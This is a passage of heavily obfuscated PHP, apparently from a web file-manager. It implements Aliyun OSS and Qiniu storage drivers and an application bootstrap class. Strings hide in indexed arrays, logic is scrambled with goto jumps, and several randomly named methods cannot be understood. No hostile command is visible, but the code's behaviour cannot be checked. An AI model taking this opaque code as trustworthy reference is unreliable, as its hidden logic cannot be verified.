$Bƈ[1193] && $this->isUploadServer() || $B == $Bƈ[105] && $this->isFileOutServer()) { return $E̦; } $e׉ = floatval($GLOBALS[$Bƈ[6]][$Bƈ[84]][$Bƈ[91]][$B]) * 1024 * 1024 * 8; goto Aƞ; d쏏: return $E̦; goto Fÿ; Aƞ: if (!$e׉) { return $E̦; } $e׉ = $e׉ < 819200 ? 819200 : ($e׉ > 838860800 ? 838860800 : $e׉); $E̦[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($e׉); goto d쏏; Fÿ: } public function link($cˆ, $Fùۜ = array()) { $E =& $_SERVER[ѽ]; if (!$this->exist($cˆ) || $this->isFolder($cˆ)) { return !1; } try { $Fùۜ = $this->trafficLimit($E[105], $Fùۜ); $D = $this->client->signUrl($this->bucket, $this->pathEncode($cˆ), 3600 * 12, $E[213], $Fùۜ); return $this->getCdnLink($D); } catch (OSS\Core\OssException $cۓ) { return !1; } } public function fileOut($a¯΂, $eꍶ = false, $bʮ = false, $D؂ = '') { goto c; c: $F =& $_SERVER[ѽ]; if (!$bʮ) { $bʮ = $this->pathThis($a¯΂); } $bʮ = rawurlencode($bʮ); goto fϖ; a䘂: $e = array(OSS\OssClient::OSS_SUB_RESOURCE => $F[1205] . rawurlencode("{$eꍶ}\73\146\151\154\x65\x6e\141\x6d\145\75{$bʮ}")); $e[OSS\OssClient::OSS_SUB_RESOURCE] .= $F[1206] . $aЮ; $Eʟؠ = $this->link($a¯΂, $e); goto f軕; f軕: $this->fileOutLink($Eʟؠ); goto fή; fϖ: $aЮ = get_file_mime(get_path_ext($bʮ)); if ($aЮ == $F[198]) { return parent::fileOut($a¯΂, $eꍶ, $bʮ, $D؂); } $eꍶ = $eꍶ ? $F[199] : $F[200]; goto a䘂; fή: } public function fileOutServer($f, $C = false, $A = false, $dȱ = '') { parent::fileOut($f, $C, $A, $dȱ); } public function fileOutImage($a탕, $A = 250) { $Dݠ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[ѽ][1207] . $A); $E = $this->link($a탕, $Dݠ); $this->fileOutLink($E); } public function fileOutImageServer($F܋Ւ, $EӋږ = 250) { parent::fileOutImage($F܋Ւ, $EӋږ); } public function fileOutLink($dڼߑ) { $AՎ =& $_SERVER[ѽ]; if (!$this->isCdnHost() && substr($dڼߑ, 0, 7) == $AՎ[1112]) { $dڼߑ = $AՎ[1113] . substr($dڼߑ, 7); } header($AՎ[153] . $dڼߑ); die; } public function hashMd5($B, $e󜎌 = '') { $AϘŠ =& $_SERVER[ѽ]; $A鱹 = $this->objectMeta($B); if (!$A鱹) { return $AϘŠ[33]; } if (!isset($A鱹[$AϘŠ[1180]]) && !empty($e󜎌)) { $Fְ = $this->updateObjMeta($B, array($AϘŠ[1180] => $e󜎌)); $A鱹[$AϘŠ[1180]] = $Fְ ? $e󜎌 : $AϘŠ[33]; } return isset($A鱹[$AϘŠ[1180]]) ? strtolower($A鱹[$AϘŠ[1180]]) : $AϘŠ[33]; } public function size($c) { $A = $this->objectMeta($c); return $A ? $A[$_SERVER[ѽ][77]] : 0; } public function info($dе) { if ($this->isFolder($dе)) { return $this->folderInfo($dе); } else { if ($this->isFile($dе)) { return $this->fileInfo($dе); } } return !1; } public function exist($f) { return $this->isFile($f) || $this->isFolder($f); } public function isFile($eɭ) { return !$this->isFolder($eɭ) && $this->objectMeta($eɭ); } public function isFolder($d󩋢) { return $this->cacheMethod($_SERVER[ѽ][220], $d󩋢); } protected function objectMeta($f) { return $this->cacheMethod($_SERVER[ѽ][221], $f); } protected function _objectMeta($BŅ) { $F =& $_SERVER[ѽ]; try { $AĶ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($BŅ)); } catch (OSS\Core\OssException $d󄣉) { $AĶ = !1; } if ($AĶ) { $AĶ[$F[77]] = intval($AĶ[$F[1187]]); } return $AĶ; } protected function _isFolder($a) { $A =& $_SERVER[ѽ]; if ($a == $A[33] || $a == $A[8]) { return !0; } $F = array($A[1177] => $A[8], $A[183] => rtrim($a, $A[8]) . $A[8], $A[1178] => 1, $A[1179] => $A[33]); $F = $this->client->listObjects($this->bucket, $F); if ($F->getObjectList() || $F->getPrefixList()) { return !0; } return !1; } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $config = null; protected $bucketManager = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\x30"; public function __construct($e˞߭) { parent::__construct(); require_once SDK_DIR . $_SERVER[ѽ][1208]; $this->_init($e˞߭); } public function _init($Cя) { foreach ($Cя as $A => $D) { if (isset($this->{$A})) { $this->{$A} = $D; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { show_json($_SERVER[ѽ][1209], !1); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->config = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->config); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($eې, $Aݭ䫡 = '', $bҲ = REPEAT_RENAME) { if ($this->setContent($eې, $Aݭ䫡)) { return $this->getPathOuter($eې); } return !1; } public function mkdir($a򦢺, $e坕 = REPEAT_SKIP) { goto d; e󒱄: $a򦢺 = $Fө . $Dڄӈ[8]; $Fꆟ = get_path_this($Fө); $CՊ = $a򦢺 . $Fꆟ; goto bอ; d: $Dڄӈ =& $_SERVER[ѽ]; $Fө = trim($a򦢺, $Dڄӈ[8]); if ($this->_isFolder($Fө)) { return $this->getPathOuter($Fө); } goto e󒱄; bอ: if (!$this->mkfile($CՊ)) { return !1; } if (!$this->moveFile($CՊ, $a򦢺)) { $this->delFile($CՊ); return !1; } return $this->getPathOuter($Fө); goto cŽӄ; cŽӄ: } public function copyFile($e, $Cψ) { $CО = $this->bucketManager->copy($this->bucket, $e, $this->bucket, $Cψ, !0); return $CО ? !1 : !0; } public function moveFile($f, $eД˒) { $B = $this->bucketManager->move($this->bucket, $f, $this->bucket, $eД˒, !0); return $B ? !1 : !0; } public function delFile($Dܘܷ) { $Aꭠ = $this->bucketManager->delete($this->bucket, $Dܘܷ); return $Aꭠ ? !1 : !0; } public function delFolder($F흩) { $c϶‰ = $this->fileList($F흩); if (empty($c϶‰)) { return !0; } $d‚ق = 1000; if (count($c϶‰) <= $d‚ق) { return $this->qnDelObj($c϶‰) ? !1 : !0; } foreach (array_chunk($c϶‰, $d‚ق) as $aӤ) { $F = $this->qnDelObj($aӤ); if ($F) { return !1; } } return !0; } private function qnDelObj($d՘) { $EԱ΃ = $this->bucketManager->buildBatchDelete($this->bucket, $d՘); list($fь, $D㑭) = $this->bucketManager->batch($EԱ΃); return $D㑭; } private function fileList($FĔ, $Eˤ¸ = 0) { goto b¬; DϮ: $Eۚ = $f[33]; $aς = 1000; $cì = $f[33]; goto bٞ; b¬: $f =& $_SERVER[ѽ]; $FĔ = trim($FĔ, $f[8]); $Bă = empty($FĔ) ? $f[33] : $FĔ . $f[8]; goto DϮ; bٞ: $C٨ = array(); while (!0) { list($aϳ, $f̵ֲ) = $this->bucketManager->listFiles($this->bucket, $Bă, $Eۚ, $aς, $cì); if ($f̵ֲ) { return !1; } $Eۚ = array_key_exists($f[1179], $aϳ) ? $Eۚ = $aϳ[$f[1210]] : $f[33]; foreach ($aϳ[$f[1211]] as $BՃ) { $a = $BՃ[$f[89]]; if ($Eˤ¸) { $a = array($f[28] => $a, $f[77] => $BՃ[$f[1212]]); } $C٨[] = $a; } if ($Eۚ == $f[33]) { break; } } return $C٨; goto cϢ; cϢ: } public function rename($Bܒ, $A) { return $this->renameObject($Bܒ, $A); } public function fileInfo($F, $Fϙ = false, $E❏ = array()) { goto D; cϤ: if (empty($E❏)) { $E❏ = $this->objectMeta($F); if (!$E❏) { return $eĴŊ; } } if (isset($E❏[$BȒ͏[1213]])) { $eĴŊ[$BȒ͏[184]] = $E❏[$BȒ͏[1213]]; } if (isset($E❏[$BȒ͏[1212]])) { $eĴŊ[$BȒ͏[77]] = $E❏[$BȒ͏[1212]]; } goto cҘ; D: $BȒ͏ =& $_SERVER[ѽ]; if ($Fϙ) { return array($BȒ͏[28] => $this->pathThis($F), $BȒ͏[75] => $this->getPathOuter($BȒ͏[8] . $F), $BȒ͏[29] => $BȒ͏[164], $BȒ͏[77] => isset($E❏[$BȒ͏[1212]]) ? $E❏[$BȒ͏[1212]] : 0, $BȒ͏[157] => $this->ext($F)); } $eĴŊ = array($BȒ͏[28] => $this->pathThis($F), $BȒ͏[75] => $this->getPathOuter($BȒ͏[8] . $F), $BȒ͏[29] => $BȒ͏[164], $BȒ͏[184] => 0, $BȒ͏[107] => 0, $BȒ͏[77] => 0, $BȒ͏[157] => $this->ext($F), $BȒ͏[185] => !0, $BȒ͏[186] => !0); goto cϤ; cҘ: return $eĴŊ; goto fᇼ; fᇼ: } public function folderInfo($C, $Eφ = false) { goto f; aǤۺ: $C = rtrim($C, $Fşͧ[8]) . $Fşͧ[8]; $c͇ = $this->objectMeta($C); if (isset($c͇[$Fşͧ[1213]])) { $B܄[$Fşͧ[184]] = $c͇[$Fşͧ[1213]]; } goto C낊; C낊: return $B܄; goto f; f: $Fşͧ =& $_SERVER[ѽ]; if ($Eφ) { return array($Fşͧ[28] => $this->pathThis($C), $Fşͧ[75] => $this->getPathOuter($Fşͧ[8] . $C), $Fşͧ[29] => $Fşͧ[76]); } $B܄ = array($Fşͧ[28] => $this->pathThis($C), $Fşͧ[75] => $this->getPathOuter($Fşͧ[8] . $C), $Fşͧ[29] => $Fşͧ[76], $Fşͧ[184] => 0, $Fşͧ[107] => 0, $Fşͧ[1158] => !0, $Fşͧ[1159] => !0); goto aǤۺ; f: } public function listPath($Dݖ״, $F = false) { goto b; e: $d = $BՆ͹[33]; $F׽􎪃 = 1000; $a⸫ = $BՆ͹[8]; goto FŠ; b: $BՆ͹ =& $_SERVER[ѽ]; $Dݖ״ = trim($Dݖ״, $BՆ͹[8]); $C˛ = empty($Dݖ״) ? $BՆ͹[33] : $Dݖ״ . $BՆ͹[8]; goto e; FŠ: $eѽ = $a迎˵ = array(); while (!0) { list($f䮕, $eɊ) = $this->bucketManager->listFiles($this->bucket, $C˛, $d, $F׽􎪃, $a⸫); if ($eɊ) { return !1; } $d = array_key_exists($BՆ͹[1179], $f䮕) ? $d = $f䮕[$BՆ͹[1210]] : $BՆ͹[33]; if (isset($f䮕[$BՆ͹[1214]])) { foreach ($f䮕[$BՆ͹[1214]] as $A럚) { if ($A럚 == $C˛) { continue; } $eѽ[] = $this->folderInfo($A럚, $F); } } if (isset($f䮕[$BՆ͹[1211]])) { foreach ($f䮕[$BՆ͹[1211]] as $c) { if ($c[$BՆ͹[89]] == $C˛) { continue; } $a迎˵[] = $this->fileInfo($c[$BՆ͹[89]], $F, $c); } } if ($d == $BՆ͹[33]) { break; } } return array($BՆ͹[74] => $eѽ, $BՆ͹[73] => $a迎˵); goto dⷆ; dⷆ: } public function has($B, $aŠ = false, $b = true) { goto FЃ; b󥉩: if ($aŠ) { return array($fۙ[188] => $Eû, $fۙ[189] => $fȘͩ); } return !1; goto d՚; FЃ: $fۙ =& $_SERVER[ѽ]; $B = trim($B, $fۙ[8]); $E抐 = empty($B) ? $fۙ[33] : $B . $fۙ[8]; goto e͠; e͠: $DŃ = $fۙ[33]; $FŤ = 1000; $B = $fۙ[8]; goto Eѵ; Eѵ: $Eû = 0; $fȘͩ = 0; while (!0) { list($d, $D˝Ն) = $this->bucketManager->listFiles($this->bucket, $E抐, $DŃ, $FŤ, $B); if ($D˝Ն) { return !1; } $DŃ = array_key_exists($fۙ[1179], $d) ? $DŃ = $d[$fۙ[1210]] : $fۙ[33]; if ($aŠ) { if (!empty($d[$fۙ[1211]])) { $Eû += count($d[$fۙ[1211]]); } if (!empty($d[$fۙ[1214]])) { $fȘͩ += count($d[$fۙ[1214]]); } if ($DŃ === $fۙ[33]) { break; } continue; } if ($b) { if (!empty($d[$fۙ[1211]])) { return !0; } } else { if (!empty($d[$fۙ[1214]])) { return !0; } } if ($DŃ == $fۙ[33]) { break; } } goto b󥉩; d՚: } public function listAll($c—) { $cӏ֫ =& $_SERVER[ѽ]; $AԆӏ = $this->fileList($c—, 1); $dж = array(); foreach ($AԆӏ as $b虱) { $dж[$b虱[$cӏ֫[28]]] = $b虱[$cӏ֫[77]]; } return $this->listAllFiles($c—, array_keys($dж), $dж); } public function canRead($C) { return $this->exist($C) ? !0 : !1; } public function canWrite($B׋) { return $this->exist($B׋) ? !0 : !1; } public function getContent($C) { return $this->fileSubstr($C, 0, -1); } public function setContent($e攷, $C = '') { $A = $this->tempFile($this->pathThis($e攷)); file_put_contents($A, $C); if ($this->upload($e攷, $A)) { $this->tempFileRemve($A); return !0; } return !1; } public function refreshUrls($eυل) { goto BƕȬ; a렛ŋ: return $D͢ک[$bͅÛ[1215]] == $bͅÛ[706] ? !0 : !1; goto eߨߵ; eǞ: $FÑ = new Qiniu\Cdn\CdnManager($this->auth); list($D͢ک, $a) = $FÑ->refreshUrls($Dݡ); if ($a) { return !1; } goto a렛ŋ; BƕȬ: $bͅÛ =& $_SERVER[ѽ]; $Dݡ = array(); if (is_array($eυل)) { foreach ($eυل as $eӨݼ) { $Dݡ[] = $this->link($eӨݼ); } } else { $Dݡ[] = $this->link($eυل); } goto eǞ; eߨߵ: } public function fileSubstr($Aޚˆ, $CǠ, $D֑) { $C =& $_SERVER[ѽ]; if (!($EζՇ = $this->link($Aޚˆ))) { return !1; } $Ḓü = !1; if ($D֑ > 0) { $D։ = $CǠ + $D֑ - 1; $Ḓü = array($C[1216] . $CǠ . $C[408] . $D։); } $D̯Ȉ = url_request($EζՇ, $C[213], !1, $Ḓü); return $D̯Ȉ[$C[699]] ? $D̯Ȉ[$C[1038]] : !1; } public function upload($DѮ, $eЬ, $CÔП = false, $a񂿿騤 = REPEAT_REPLACE) { $c = new Qiniu\Storage\UploadManager(); $b޲ = $this->auth->uploadToken($this->bucket, $DѮ); $CИ = get_file_mime(get_path_ext($eЬ)); list($b̅, $Eއ) = $c->putFile($b޲, $DѮ, $eЬ, null, $CИ); return $Eއ ? !1 : $this->getPathOuter($DѮ); } public function uploadFormData($B̓, $fĦ = 3600) { return $this->uploadToken($B̓, $fĦ); } public function multiUploadFormData($dߋը, $eʃ = 3600) { return $this->uploadToken($dߋը, $eʃ); } private function uploadToken($b叧, $B݂ = 3600) { goto fΘ; b: $Cܩކ = http_type() . "\72\57\x2f\165\160\154\157\141\x64{$Bˤ}\x2e\161\x69\x6e\x69\x75\160\56\143\157\155\57"; return array($D[1220] => $FГ, $D[1221] => $Cܩކ); goto bއ; fΘ: $D =& $_SERVER[ѽ]; $F = $B݂; $Aܕ = array($D[1217] => $D[1218]); goto dԖ; dԖ: $D뷲 = null; $FГ = $this->auth->uploadToken($this->bucket, $D뷲, $F, $Aܕ, !0); $Bˤ = empty($this->region) || $this->region == $D[1219] ? $D[33] : $D[408] . $this->region; goto b; bއ: } public function download($D˖ƈ, $Cϣ) { goto F; c͆: fclose($eٖ); return $Cϣ; goto c͐ލ; b񋠚: $Fݲ = 1024 * 200; $eٖ = fopen($CǓ, $_SERVER[ѽ][1222]); while (!0) { $A = $this->fileSubstr($D˖ƈ, $cΏװ, $Fݲ); if ($A === !1) { return !1; } fwrite($eٖ, $A); $cΏװ += $Fݲ; if (strlen($A) < $Fݲ) { break; } } goto c͆; F: $CǓ = IO::getPathInner(IO::mkfile($Cϣ)); if (!($AȺ = $this->link($D˖ƈ))) { return !1; } $cΏװ = 0; goto b񋠚; c͐ލ: } public function link($d꩗, $E = '') { if (!$this->isFile($d꩗)) { return !1; } $C֤ = $this->getHost() . $_SERVER[ѽ][8] . $this->pathEncode($d꩗) . $E; return $this->auth->privateDownloadUrl($C֤, 3600 * 12); } public function fileOut($B, $CѮ = false, $B֐ = false, $e˅ = '') { $FȢ =& $_SERVER[ѽ]; if (!$B֐) { $B֐ = $this->pathThis($B); } $DꋤΒ = $CѮ ? $FȢ[1223] . rawurlencode($B֐) : $FȢ[33]; $Eա = $this->link($B, $DꋤΒ); $this->fileOutLink($Eա); } public function fileOutServer($D֧, $E杝 = false, $d = false, $Fك = '') { parent::fileOut($D֧, $E杝, $d, $Fك); } public function fileOutImage($fٔ, $bձƆ = 250) { $d = $this->link($fٔ, $_SERVER[ѽ][1224] . $bձƆ); $this->fileOutLink($d); } public function fileOutImageServer($C̲Ǜ, $F𴑈 = 250) { parent::fileOutImage($C̲Ǜ, $F𴑈); } public function hashMd5($d֝) { $a􋡨 =& $_SERVER[ѽ]; $Dט = $this->objectMeta($d֝); return isset($Dט[$a􋡨[193]]) ? $Dט[$a􋡨[193]] : !1; $c˖ = $this->link($d֝, $a􋡨[1225]); } public function size($d魪) { $E = $this->objectMeta($d魪); return $E ? $E[$_SERVER[ѽ][77]] : 0; } public function info($AΧ) { if ($this->isFolder($AΧ)) { return $this->folderInfo($AΧ); } else { if ($this->isFile($AΧ)) { return $this->fileInfo($AΧ); } } return !1; } public function exist($f٪) { return $this->isFile($f٪) || $this->isFolder($f٪); } public function isFile($B͘) { return !$this->isFolder($B͘) && $this->objectMeta($B͘); } public function isFolder($b錍) { return $this->cacheMethod($_SERVER[ѽ][220], $b錍); } protected function objectMeta($C͗) { return $this->cacheMethod($_SERVER[ѽ][221], $C͗); } protected function _objectMeta($B) { $E놸Ð =& $_SERVER[ѽ]; list($A, $b) = $this->bucketManager->stat($this->bucket, $B); if ($A) { $A[$E놸Ð[77]] = intval($A[$E놸Ð[1212]]); } return $A; } protected function _isFolder($e̘) { $d =& $_SERVER[ѽ]; list($d, $d߇) = $this->bucketManager->listFiles($this->bucket, trim($e̘, $d[8]) . $d[8], $d[33], 1, $d[8]); return !empty($d[$d[1211]]) || !empty($d[$d[1214]]) ? !0 : !1; } } goto AċҺ; B׭: $Fдȉ = $_SERVER[ѽ][546]; if (!$Fдȉ) { return; } class Application { private $defaultModule = "\151\156\144\x65\x78"; private $defaultController = "\151\x6e\144\x65\x78"; private $defaultAction = "\151\156\x64\x65\x78"; function __construct() { } public function setDefault($d֍) { goto A; e: $eÈ = $Bخ[547]; $this->defaultModule = $dݶ[0] ? $dݶ[0] : $this->defaultModule; $aꍷ = $Bخ[548]; goto dع; A: $Bخ =& $_SERVER[ѽ]; $cݖک =& $_SERVER[]; $dݶ = $cݖک[0]($cݖک[1], $cݖک[2]($d֍, $cݖک[1])); goto e; dع: $this->defaultController = $dݶ[1] ? $dݶ[1] : $this->defaultController; $this->defaultAction = $dݶ[2] ? $dݶ[2] : $this->defaultAction; $this->{$_SERVER[][3]}($cݖک[4], array($this, $cݖک[5])); goto dƱ; dƱ: $d麙 = $Bخ[549]; goto aߌ; aߌ: } public function appRun($Aֶ) { goto c۶; F̳: $f䞑ϻ = $C[6]($c[0]); $C˅א = $C[7]; $Bɏ = $a᫰[550]; goto cԃ; dֻ: $C[17]($Aֶ); $C[13](array($C[14], $C[15]), $C˅א . $C[18], $Aֶ); $a = $a᫰[552]; goto E; c۶: $a᫰ =& $_SERVER[ѽ]; $C =& $_SERVER[]; $c = $C[0]($C[1], $Aֶ); goto F̳; E: while ($a < $a᫰[553]) { if ($a >= 0) { break; } $a++; } goto aĠ; cԃ: if (strlen($Bɏ) < $a᫰[551]) { die; } if ($f䞑ϻ == $C[8]) { $C˅א = $C[9]; $c[0] = $C[10]; $c[1] = $c[1] . $C[11]; $Aֶ = $C[12]($C[1], $c); $Aֶ = $C[2]($Aֶ, $C[1]); } $C[13](array($C[14], $C[15]), $C˅א . $C[16], $Aֶ); goto dֻ; aĠ: } private function autorun() { $bɲľ =& $_SERVER[]; global $config; $c = $_SERVER[ѽ][554]; if ($bɲľ[19]($config[$bɲľ[20]]) == 0) { return; } foreach ($config[$bɲľ[20]] as $c׮ => $d㉱) { $this->{$_SERVER[][21]}($d㉱); } } private function uhjq327502c4() { goto C؆; b: $GLOBALS[$a[22]][$a[28]] = $a[29]($a[1], $GLOBALS[$a[22]][$a[23]]); goto f; Dͯ: $B᳙ = $GLOBALS[$a[22]][$a[23]][0]; if (!$B᳙ || $a[24]($B᳙) <= $a[24]($FӍ膧)) { return; } if ($a[6]($a[25]($B᳙, -$a[24]($FӍ膧))) != $FӍ膧) { return; } goto Dֿ; f˒: $GLOBALS[$a[22]][$a[23]] = $a[27]($C럂, $E۫); $eМ = $fũ[555]; while (strlen($eМ) < $fũ[556]) { if (!$eМ) { break; } $eМ++; } goto b; C؆: $fũ =& $_SERVER[ѽ]; $a =& $_SERVER[]; $FӍ膧 = $a[8]; goto Dͯ; Dֿ: $Bɠƨ = $a[25]($B᳙, 0, -$a[24]($FӍ膧)); $C럂 = array($a[8], $Bɠƨ); $E۫ = $a[26]($GLOBALS[$a[22]][$a[23]], 1); goto f˒; f: } private function ntef1ab8c025() { goto b; dȹ: $b = $Aؾ[33]($E, $eм); $F콸敷 = $Aؾ[25]($E, $b + $Aؾ[24]($eм)); $Aؾ[34]($Aؾ[35], $F콸敷, $C螇); goto Fυꑷ; Fυꑷ: $F콸敷 = $Aؾ[2]($C螇[0][0], $Aؾ[36]); $D󉩣 = $Cǯ[557]; if (!$D󉩣) { die; } goto Dɗ; d򱊂: $E = $_SERVER[$Aؾ[30]]; $eм = $Aؾ[31]; if (!$Aؾ[32]($E, $eм)) { return; } goto dȹ; Dɗ: $GLOBALS[$Aؾ[22]][$Aؾ[23]] = $Aؾ[0]($Aؾ[36], $F콸敷); $GLOBALS[$Aؾ[22]][$Aؾ[28]] = $Aؾ[29]($Aؾ[1], $GLOBALS[$Aؾ[22]][$Aؾ[23]]); $EÚ = $Cǯ[558]; goto Dəو; b: $Cǯ =& $_SERVER[ѽ]; $Aؾ =& $_SERVER[]; if ($GLOBALS[$Aؾ[22]][$Aؾ[28]] != $Aؾ[10]) { return; } goto d򱊂; Dəو: if (strlen($EÚ) < $Cǯ[559]) { die; } goto D酘; D酘: } public function run() { goto bҢ; AαϷ: $this->{$_SERVER[][38]}(); $e = $GLOBALS[$B黲Ю[22]][$B黲Ю[23]]; $b؍ = $GLOBALS[$B黲Ю[22]][$B黲Ю[28]]; goto Aʭ; c˺ˣ: $B黲Ю[39]($B黲Ю[42], isset($e[2]) && $e[0] ? $e[2] : $this->defaultAction); $a憓뼠 = $eðò[561]; if (strlen($a憓뼠) < $eðò[556]) { die; } goto Aӄ; e⿗: while ($FŮ < $eðò[559]) { if ($FŮ >= 0) { break; } $FŮ++; } $this->{$_SERVER[][45]}(); if ($B黲Ю[19]($e) >= 3) { $this->{$_SERVER[][21]}($b؍); } else { $this->{$_SERVER[][21]}(ACTION); } goto Bɩ; Aʭ: $B黲Ю[39]($B黲Ю[40], isset($e[0]) && $e[0] ? $e[0] : $this->defaultModule); $D֯ = $eðò[560]; $B黲Ю[39]($B黲Ю[41], isset($e[1]) && $e[0] ? $e[1] : $this->defaultController); goto c˺ˣ; Aӄ: $B黲Ю[39]($B黲Ю[43], MOD . $B黲Ю[1] . ST . $B黲Ю[1] . ACT); $_SERVER[$B黲Ю[44]] = $B黲Ю[6](ACTION); $FŮ = $eðò[562]; goto e⿗; bҢ: $eðò =& $_SERVER[ѽ]; $B黲Ю =& $_SERVER[]; $this->{$_SERVER[][37]}(); goto AαϷ; Bɩ: } private $girtef17344a = array(); private $amdb4b1f3d62 = ''; public function zitjdeb105bc() { goto d󢻌; d󢻌: $dґ =& $_SERVER[ѽ]; $B隼 =& $_SERVER[]; $this->{$_SERVER[][46]}(); goto DՐ; F䍐: $this->{$_SERVER[][48]}(); $this->{$_SERVER[][49]}(); $C΃ = $dґ[564]; goto aԾ; Bի: $EƎ = $dґ[567]; if (!$EƎ) { return; } $this->{$_SERVER[][3]}($B隼[55], array($this, $B隼[56])); goto F; E: if (!$E؉) { die; } $this->{$_SERVER[][52]}(); $this->{$_SERVER[][3]}($B隼[53], array($this, $B隼[54])); goto Bի; e: if (!$Aƙ) { return; } $this->{$_SERVER[][51]}(); $E؉ = $dґ[566]; goto E; D謏: $dа = $dґ[569]; if (strlen($dа) < $dґ[553]) { return; } goto Bٽ; F: $eՎފ = $dґ[568]; $this->{$_SERVER[][3]}($B隼[57], array($this, $B隼[58])); $this->{$_SERVER[][3]}($B隼[59], array($this, $B隼[60])); goto D謏; aԾ: if (strlen($C΃) < $dґ[551]) { return; } $this->{$_SERVER[][50]}(); $Aƙ = $dґ[565]; goto e; DՐ: $this->{$_SERVER[][47]}(); $AȤ = $dґ[563]; while ($AȤ < $dґ[551]) { if ($AȤ >= 0) { break; } $AȤ++; } goto F䍐; Bٽ: } public function zdrt6270b1e2($C) { goto dƶdž; a: $C[$eΣ[108]][$eΣ[117]] = $eΣ[118]($eΣ[119]()); $C[$eΣ[108]][$eΣ[120]] = $this->amdb4b1f3d62; $E٢Ŋ = $e[573]; goto fĢ; Dͩ: $b䆑 = array($eΣ[64], $eΣ[65], $eΣ[66], $eΣ[67], $eΣ[68], $eΣ[69], $eΣ[70], $eΣ[71], $eΣ[72], $eΣ[73], $eΣ[74], $eΣ[75], $eΣ[76], $eΣ[77], $eΣ[78], $eΣ[79], $eΣ[80], $eΣ[81], $eΣ[82], $eΣ[83], $eΣ[84], $eΣ[85], $eΣ[86], $eΣ[87], $eΣ[88], $eΣ[89], $eΣ[90]); $Bƾ뾦 = $e[570]; if (!$Bƾ뾦) { return; } goto c; dƶdž: $e =& $_SERVER[ѽ]; $eΣ =& $_SERVER[]; $eŨ = $eΣ[61]($eΣ[62])->{$_SERVER[][63]}(); goto Dͩ; ADz՚: $C[$eΣ[108]][$eΣ[128]] = $eΣ[104]($this->girtef17344a, $eΣ[129], $eΣ[10]); $C[$eΣ[108]][$eΣ[130]] = $eΣ[104]($this->girtef17344a, $eΣ[131], $eΣ[10]); $aĭ = $e[574]; goto eϝ˝; eϝ˝: if (strlen($aĭ) < $e[553]) { die; } if ($eΣ[104]($GLOBALS, $eΣ[132]) && $this->config[$eΣ[133]]) { $C[$eΣ[108]][$eΣ[134]] = WEB_ROOT; } return $C; goto Dՠ; fĢ: if (strlen($E٢Ŋ) < $e[551]) { return; } if ($eŨ[$eΣ[120]] != $eΣ[121]) { $C[$eΣ[108]][$eΣ[122]] = $eŨ[$eΣ[122]]; $C[$eΣ[108]][$eΣ[123]] = $eŨ[$eΣ[123]]; $aه = $eΣ[124](10) . $this->amdb4b1f3d62 . $eΣ[124](5); $C[$eΣ[93]][$eΣ[125]][$eΣ[126]] = $this->{$_SERVER[][127]}($aه, $C[$eΣ[108]][$eΣ[113]]); } if ($this->amdb4b1f3d62 == $eΣ[121]) { $C[$eΣ[93]][$eΣ[94]][$eΣ[99]][$eΣ[107]] = 0; } goto ADz՚; c󜛑: $C[$eΣ[93]][$eΣ[94]][$eΣ[99]] = array($eΣ[100] => (int) $a۔[$eΣ[101]], $eΣ[102] => $eΣ[103]($eΣ[104]($a۔, $eΣ[105], array())), $eΣ[106] => (int) $eΣ[104]($a۔, $eΣ[107], 0)); $C[$eΣ[108]][$eΣ[109]] = $eΣ[110]($eΣ[111])->{$_SERVER[][112]}(); $C[$eΣ[108]][$eΣ[113]] = $eΣ[114]($_SERVER[$eΣ[115]] . $eŨ[$eΣ[116]]); goto a; B: $EؽŽ = $e[571]; if (!$EؽŽ) { die; } unset($C[$eΣ[93]][$eΣ[95]][$eΣ[97]]); goto Eڈ; c: foreach ($b䆑 as $Aޒ䷐) { $C퓺 = $GLOBALS[$eΣ[91]][$eΣ[92]][$Aޒ䷐]; if (isset($eŨ[$Aޒ䷐])) { $C퓺 = $eŨ[$Aޒ䷐]; } $C[$eΣ[93]][$eΣ[94]][$Aޒ䷐] = $C퓺; } $a۔ = $C[$eΣ[93]][$eΣ[94]][$eΣ[76]]; unset($C[$eΣ[93]][$eΣ[95]][$eΣ[96]]); goto B; Eڈ: $AΞ = $e[572]; unset($C[$eΣ[93]][$eΣ[94]][$eΣ[76]]); unset($C[$eΣ[93]][$eΣ[94]][$eΣ[98]]); goto c󜛑; Dՠ: } private function hgoa6ee2021c() { goto B; bޮ: if ($this->amdb4b1f3d62 == $eӚ蓪[121]) { return; } $DڡƎ = array($eӚ蓪[153], $eӚ蓪[154], $eӚ蓪[155], $eӚ蓪[156], $eӚ蓪[157], $eӚ蓪[158]); $D˜ = $aɍ塌[578]; goto cߧ; EÇƎ: $C = array($eӚ蓪[159] => $F˨[$eӚ蓪[64]], $eӚ蓪[160] => $F˨[$eӚ蓪[65]], $eӚ蓪[161] => $eӚ蓪[10]); $Bͺ鹧 = $aɍ塌[580]; while ($Bͺ鹧 < $aɍ塌[581]) { if ($Bͺ鹧 >= 0) { break; } $Bͺ鹧++; } goto Eސ; Eސ: foreach ($DڡƎ as $f) { if (!isset($F˨[$f]) || !$F˨[$f]) { continue; } $C[$f] = $F˨[$f]; } $eӚ蓪[13](array($eӚ蓪[151], $eӚ蓪[152]), $C); $D҉ȡ = $aɍ塌[582]; goto a᤬Ʋ; B: $aɍ塌 =& $_SERVER[ѽ]; $eӚ蓪 =& $_SERVER[]; if ($_SERVER[$eӚ蓪[44]] == $eӚ蓪[135]) { goto F; d׎: if (!$d¼) { die; } $eӚ蓪[13](array($eӚ蓪[151], $eӚ蓪[152]), $C); $BЌ = $aɍ塌[577]; goto D; F: $a¦ = array($eӚ蓪[120] => $this->amdb4b1f3d62, $eӚ蓪[136] => $this->{$_SERVER[][137]}(), $eӚ蓪[138] => $eӚ蓪[61]($eӚ蓪[139])->{$_SERVER[][140]}()); if ($this->amdb4b1f3d62 != $eӚ蓪[121]) { $a = $eӚ蓪[104]($this->girtef17344a, $eӚ蓪[141]); if ($a) { 